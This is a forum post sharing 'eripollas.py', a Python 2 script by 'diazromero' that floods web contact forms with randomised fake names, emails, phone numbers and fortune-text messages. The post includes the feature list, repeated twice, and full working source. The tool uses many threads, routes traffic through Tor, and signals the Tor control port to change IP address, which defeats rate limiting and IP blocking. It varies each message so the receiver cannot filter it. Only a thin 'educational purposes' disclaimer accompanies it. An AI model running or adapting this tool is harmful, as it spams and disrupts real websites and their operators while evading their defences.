13 Years of Service
57%
~eripollas.py Multithreaded Anon Form Flooder~ v1.0 by diazromero
ERIPOLLAS Functions:
- Can Flood forms *withouth captcha* by now
- Multithreaded
- Can make use of proxy (tor preferred, with privoxy or polipo)
- Source you can make use of and adapt according to your needs
- Automatic change of *TOR IP* each configured messages
- Receiver can not filter messages, automatic generation of unique messages. Functions for unique emails, strings, etc... you must only edit...
- Use of fortunes messages
DONT BE EVIL & educational purposes & ask for help if needed.
cheers!
diazromero
ERIPOLLAS Functions:
- Can Flood forms *withouth captcha* by now
- Multithreaded
- Can make use of proxy (tor preferred, with privoxy or polipo)
- Source you can make use of and adapt according to your needs
- Automatic change of *TOR IP* each configured messages
- Receiver can not filter messages, automatic generation of unique messages. Functions for unique emails, strings, etc... you must only edit...
- Use of fortunes messages
DONT BE EVIL & educational purposes & ask for help if needed.
cheers!
diazromero
Code:
>'''
@author: diazromero
'''
import urllib, urllib2, cookielib, os, base64, random, string
import socket, threading, time
# Form response correct message string--EDIT
RESPUESTA = "El mesaje ha sido enviado correctamente."
# --EDIT
DEBUG = True
# Referrers --EDIT
DOMAINS = ["hotmail.com", "gmail.com", "yahoo.com", "microsoft.com", "live.com", "mari.com"]
# Threads to use --EDIT
NTHREADS = 1
# --EDIT
ATTACKSPERTHREAD = 1
# URL TO ATTACK -- EDIT ---
URL="http://localhost/form.php"
class Thread(threading.Thread):
def __init__(self, funcname, name='SpammerThread'):
""" constructor, setting initial variables """
self._stopevent = threading.Event()
self._sleepperiod = 0.5
self.funcname = funcname
threading.Thread.__init__(self, name=name)
self.stopped = False
def run(self):
""" main control loop """
if DEBUG:
print "%s starts" % (self.getName())
count = 0
while not self._stopevent.isSet() and count < ATTACKSPERTHREAD:
count += 1
self.funcname()
self._stopevent.wait(self._sleepperiod)
if DEBUG:
print "%s ends" % (self.getName())
self.stopped = True
def join(self, timeout=None):
""" Stop the thread and wait for it to end. """
self._stopevent.set()
threading.Thread.join(self, timeout)
def getFortune():
stdin, stdout = os.popen2("fortune -o")
out = stdout.read()
if DEBUG:
print out
stdout.close()
return out
def getRandomNumber(leng):
return ''.join(random.choice("0123456789") for i in xrange(leng))
def getRandomString(leng):
nbits = leng * 6 + 1
bits = random.getrandbits(nbits)
uc = u"%0x" % bits
newlen = int(len(uc) / 2) * 2 # we have to make the string an even length
ba = bytearray.fromhex(uc[:newlen])
return base64.urlsafe_b64encode(str(ba))[:leng]
def send():
global sent, bad, s
# Proxy to use -- EDIT --- or comment next two lines for no proxy
proxy_h = urllib2.ProxyHandler({"http" : "127.0.0.1:8123"})
opener = urllib2.build_opener(proxy_h)
urllib2.install_opener(opener)
opener.addheaders.append(('User-agent', 'Mozilla/4.0'))
opener.addheaders.append(('Referer', 'http://www.mari.com'))
email = "%s@%s" % (getRandomString(random.randint(4, 20)), random.choice(DOMAINS))
# --EDIT-- THIS FIELDS From form to flood
data = urllib.urlencode({
'nombre' : getRandomString(random.randint(5 , 26)),
'empresa' : getRandomString(random.randint(5 , 26)),
'email' : email,
'telefono' : getRandomNumber(random.randint(6, 15)),
'oferta' : getRandomString(random.randint(10, 45)),
'mensaje' : getFortune(),
'newsletter' : random.choice(['si', 'no'])
})
try:
resp = opener.open(URL, data)
except:
bad += 1
return
if DEBUG:
print data
page = resp.read()
if DEBUG:
print page
resp.close()
if page.find(RESPUESTA) > -1:
sent += 1
else:
bad += 1
print "sent ok %i bad %i" % (sent, bad)
# Next 4 lines to change IP from TOR, COMMENT TO INVALIDATE
if (sent + bad) % NTHREADS == 0 and (sent + bad):
s.send('signal newnym\r\n')
buff = s.recv(1024)
print "new circuit"
def main(joumach):
global sent, bad, s
athreads = []
print "[-] Started TestRouter Thread",
# Next 4 lines to change IP from TOR, COMMENT TO INVALIDATE
s = socket.socket(socket.AF_INET)
s.connect(('127.0.0.1', 9051))
s.send('authenticate ""\r\n')
print s.recv(1024)
k = 0
sent = 0
bad = 0
joumach /= ATTACKSPERTHREAD
while k < joumach:
while (NTHREADS - len(athreads)) > 0 and k < joumach:
thr = Thread(send)
thr.start()
athreads.append(thr)
k += 1
for thr in athreads:
if thr.stopped:
athreads.remove(thr)
time.sleep(1.4)
s.close()
print "Attack Finished."
main(1)
Last edited by a moderator: